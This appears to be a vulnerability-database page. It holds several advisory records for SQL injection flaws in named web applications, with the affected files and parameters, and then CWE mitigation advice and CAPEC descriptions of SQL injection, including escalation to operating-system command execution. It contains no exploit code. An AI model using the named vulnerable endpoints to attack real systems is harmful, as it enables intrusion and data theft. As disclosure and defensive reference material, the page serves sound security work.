      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4552"
    },
    {
      "type": "WEB",
      "url": "http://14house.blogspot.com/2007/08/arcadem-rfi-sql-injection-flaws.html"
    },
    {
      "type": "WEB",
      "url": "http://forums.agaresmedia.com/viewtopic.php?f=13\u0026t=19"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/36857"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26574"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25418"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P474-6PR8-PWCJ

Vulnerability from github – Published: 2025-05-02 03:30 – Updated: 2025-05-02 15:31
VLAI
Details

A vulnerability was found in itsourcecode Restaurant Management System 1.0. It has been classified as critical. This affects an unknown part of the file /admin/category_save.php. The manipulation of the argument Category leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-4192"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-02T01:15:54Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in itsourcecode Restaurant Management System 1.0. It has been classified as critical. This affects an unknown part of the file /admin/category_save.php. The manipulation of the argument Category leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-p474-6pr8-pwcj",
  "modified": "2025-05-02T15:31:46Z",
  "published": "2025-05-02T03:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4192"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ARPANET-cybersecurity/vuldb/issues/4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/XuepengZhao-insp/vuldb/issues/4"
    },
    {
      "type": "WEB",
      "url": "https://itsourcecode.com"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.306807"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.306807"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.561838"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P47P-MR97-M42H

Vulnerability from github – Published: 2023-10-19 21:30 – Updated: 2024-04-04 08:48
VLAI
Details

In the module "Creative Popup" (creativepopup) up to version 1.6.9 from WebshopWorks for PrestaShop, a guest can perform SQL injection via cp_download_popup().

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-45381"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-19T19:15:15Z",
    "severity": "CRITICAL"
  },
  "details": "In the module \"Creative Popup\" (creativepopup) up to version 1.6.9 from WebshopWorks for PrestaShop, a guest can perform SQL injection via `cp_download_popup().`",
  "id": "GHSA-p47p-mr97-m42h",
  "modified": "2024-04-04T08:48:54Z",
  "published": "2023-10-19T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45381"
    },
    {
      "type": "WEB",
      "url": "https://addons.prestashop.com/fr/pop-up/39348-creative-popup.html"
    },
    {
      "type": "WEB",
      "url": "https://security.friendsofpresta.org/modules/2023/10/19/creativepopup.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P47Q-7W75-C3J3

Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-05-24 17:35
VLAI
Details

SQL injection vulnerability in BloodX 1.0 allows attackers to bypass authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-29282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-02T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "SQL injection vulnerability in BloodX 1.0 allows attackers to bypass authentication.",
  "id": "GHSA-p47q-7w75-c3j3",
  "modified": "2022-05-24T17:35:16Z",
  "published": "2022-05-24T17:35:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29282"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BigTiger2020/BloodX-CMS/blob/main/README.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/diveshlunker/BloodX"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/48786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P47Q-PQP2-2PW4

Vulnerability from github – Published: 2025-07-25 18:30 – Updated: 2025-07-25 18:30
VLAI
Details

A vulnerability classified as critical was found in deerwms deer-wms-2 up to 3.3. Affected by this vulnerability is an unknown functionality of the file /system/role/export. The manipulation of the argument params[dataScope] leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-8161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-25T17:15:33Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical was found in deerwms deer-wms-2 up to 3.3. Affected by this vulnerability is an unknown functionality of the file /system/role/export. The manipulation of the argument params[dataScope] leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-p47q-pqp2-2pw4",
  "modified": "2025-07-25T18:30:41Z",
  "published": "2025-07-25T18:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8161"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/deerwms/deer-wms-2/issues/ICLQQG"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.317575"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.317575"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.619696"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P48J-375P-C37Q

Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-14 15:30
VLAI
Details

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Syed Balkhi User Feedback userfeedback-lite allows Blind SQL Injection.This issue affects User Feedback: from n/a through <= 1.10.1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-39475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T09:16:22Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Syed Balkhi User Feedback userfeedback-lite allows Blind SQL Injection.This issue affects User Feedback: from n/a through \u003c= 1.10.1.",
  "id": "GHSA-p48j-375p-c37q",
  "modified": "2026-04-14T15:30:28Z",
  "published": "2026-04-08T09:31:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39475"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/userfeedback-lite/vulnerability/wordpress-user-feedback-plugin-1-10-1-sql-injection-vulnerability-2?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P48J-9RW2-X9Q6

Vulnerability from github – Published: 2022-07-02 00:00 – Updated: 2022-07-13 00:01
VLAI
Details

SQL Injection vulnerability in viaviwebtech Android EBook App (Books App, PDF, ePub, Online Book Reading, Download Books) 10 via the author_id parameter to api.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-32428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-01T00:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "SQL Injection vulnerability in viaviwebtech Android EBook App (Books App, PDF, ePub, Online Book Reading, Download Books) 10 via the author_id parameter to api.php.",
  "id": "GHSA-p48j-9rw2-x9q6",
  "modified": "2022-07-13T00:01:53Z",
  "published": "2022-07-02T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32428"
    },
    {
      "type": "WEB",
      "url": "https://codecanyon.net/item/android-ebook-app-with-material-design/21680614"
    },
    {
      "type": "WEB",
      "url": "https://codecanyon.net/user/viaviwebtech"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/Blind_SQL_Injection"
    },
    {
      "type": "WEB",
      "url": "https://veysel-xan.com/CVE-2021-32428.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.